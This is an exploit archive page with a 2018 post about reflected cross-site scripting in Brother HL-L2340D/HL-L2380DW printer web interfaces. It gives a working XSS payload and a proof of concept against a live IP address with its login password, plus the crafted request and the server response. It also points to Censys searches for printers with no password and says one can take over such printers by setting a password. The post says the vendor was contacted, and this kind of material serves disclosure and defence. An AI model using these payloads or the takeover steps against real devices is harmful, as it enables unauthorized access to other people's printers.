exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Brother HL-L2340D / HL-L2380DW Cross Site Scripting

Brother HL-L2340D / HL-L2380DW Cross Site Scripting
Posted May 31, 2018
Authored by Huy Kha

Brother HL-L2340D and HL-L2380DW suffer from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 619bdaaa6484db813096e9f60d0936c2648c7b469e6a7525ec8533294ee85f8a

Brother HL-L2340D / HL-L2380DW Cross Site Scripting

Change Mirror Download
# Exploit Title: [ XSS at Brother HL-L2340D & HL-L2380DW series]


# Date: [30.05.2018]

# Exploit Author: [Huy Kha]

# Vendor Homepage: [https://support.brother.com]

# Software Link: [ Website ]

# Version: HL-L2340D & HL-L2380DW series

# Tested on: Mozilla FireFox

# Reflected XSS Payload :

"--!><Svg/OnLoad=(confirm)(1)>"

# Description : Starting searching for printers without having a password.

https://censys.io/ipv4?q=HL-L2340D+series

https://censys.io/ipv4?q=HL-L2380DW+series


When you see a yellow bar with ''Configure the password'' you can take
over the full printer by putting a password on it.



# PoC :

This is a demo website. If you want to execute the XSS you need to be
loged into the web interface first.


1. Go to the following url: https://128.12.201.40/

2. Login with ''HackMe123'' as password

3. Now visit the following parameter:
net/net/service_detail.html?service=1&pageid=236

4. The XSS vulnerability exist in the service_detail.html?service=1 parameter.


5. Demo URL: https://128.12.201.40/etc/loginerror.html?url=%2Fnet%2Fnet%2Fservice_detail.html%3Fservice%3D%2522--!%253E%253CSvg%2FOnLoad%3D(confirm)(1)%253E%2522%26pageid%3D241


# Request :


GET /etc/loginerror.html?url=%2Fnet%2Fnet%2Fservice_detail.html%3Fservice%3D%2522--!%253E%253CSvg%2FOnLoad%3D(confirm)(1)%253E%2522%26pageid%3D241
HTTP/1.1
Host: 128.12.201.40
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0)
Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: nl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0


# Response :

HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 3389 Content-Type:
text/html Content-Language: nl Connection: close Server: debut/1.20 Pragma:
no-cache <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC
"-//W3C//DTD XHTML 1.0 Strict//EN" "
https://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html lang="nl" xmlns="
https://www.w3.org/1999/xhtml" xml:lang="nl"><head><meta
http-equiv="Content-Script-Type" content="text/javascript" /><meta
http-equiv="content-style-type" content="text/css" /><meta
http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /><script
type="text/javascript" src="/common/js/ews.js"></script> <link
rel="stylesheet" type="text/css" href="../common/css/common.css" /> <link
rel="stylesheet" type="text/css" href="../common/css/ews.css"
/><title>Brother HL-L2340D series</title></head><body><div
id="baseFrame"><div id="frameContainer"><div
id="headerFrameContainerLeft"><div id="headerFrameContainerRight"><div
id="headerFrameInner"><div id="headerFrame"><div
id="modelName"><h1>HL-L2340D series</h1><div class="SetBox"
id="SetBoxAuthRight"><div id="SetBoxAuthLeft"><form method="post"
action="/general/status.html"><div>Log in<input type="password"
id="LogBox" name="B1d6" /><input type="hidden" name="loginurl"
value="/net/net/service_detail.html?service="--!><Svg/OnLoad=(confirm)(1)>"&pageid=241"/><input
id="login" type="submit" value="&nbsp;"
/></div></form></div></div></div><div id="corporateLogo"><img
src="/common/images/logo.gif" alt="Brother" /></div></div><div
id="solutions"><div><span><a href="
https://solutions.brother.com/cgi-bin/solutions.cgi?MDL=prn088&LNG=en&SRC=DEVICE">Brother<br
/>Solutions Center</a></span></div></div><div
id="tabMenu"><ul><li><ul><li
class="selected"><p>Algemeen</p></li></ul></li></ul></div></div></div></div><div
id="mainFrameContainer"><div id="mainFrameTopLeft"><div
id="mainFrameTopRight"><div id="mainFrameTopInner"><div
id="subTabMenu">&nbsp;</div></div></div></div><div id="mainFrameInner"><div
id="subMenu"><div><a href="/general/status.html">Status</a></div><div><a
href="/general/reflesh.html"
class="subPage">Interval voor autom. vernieuwen</a></div><div><a
href="/general/information.html?kind=item">Onderhoudsinformatie</a></div><div><a
href="/general/lists.html">Lijsten/Rapporten</a></div><div><a
href="/general/find.html">Apparaat zoeken</a></div><div><a
href="/general/contact.html">Contactpersoon & locatie</a></div><div><a
href="/general/sleep.html">Slaapstand</a></div><div><a
href="/general/powerdown.html">Automatisch uitschakelen</a></div><div><a
href="/general/language.html">Taal</a></div><div><a
href="/general/panel.html">Paneel</a></div><div><a
href="/general/replacetoner.html">Toner vervangen</a></div></div><div
id="rightFrameContainer"><div id="rightFrame"><div id="mainContent"><div
id="pageTitle"><h2>Log in</h2></div><div id="pageContents"><div
class="contentsGroup"><p
class="noteMessage">Om deze pagina te openen moet u inloggen. Log in s.v.p.</p></div></div></div></div></div><script
type="text/javascript"><!-- SetMinHeight(); // --></script></div><div
id="mainFrameBottomLeft"><div id="mainFrameBottomRight"><div
id="mainFrameBottomInner"></div></div></div></div><div
id="footerFrameContainer"><div id="copyright">Copyright(C) 2000-2014
Brother Industries, Ltd. All Rights Reserved.</div><div id="topBack"><a
href="#">Top<img src="/common/images/ic_pt.gif" alt="Top"
/></a></div></div></div></div></body></html>


# How to fix it? :

This has nothing to do with which version you use. Ofcourse I'll
suggest you to update it to the latest version, but if you want to fix
it. Put a strong password on the printer webinterface.


# Note: The vendor has been contacted on 30-5-2018.



Kind regards,

Huy Kha

https://twitter.com/huykha10

linkedin.com/in/huykha
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close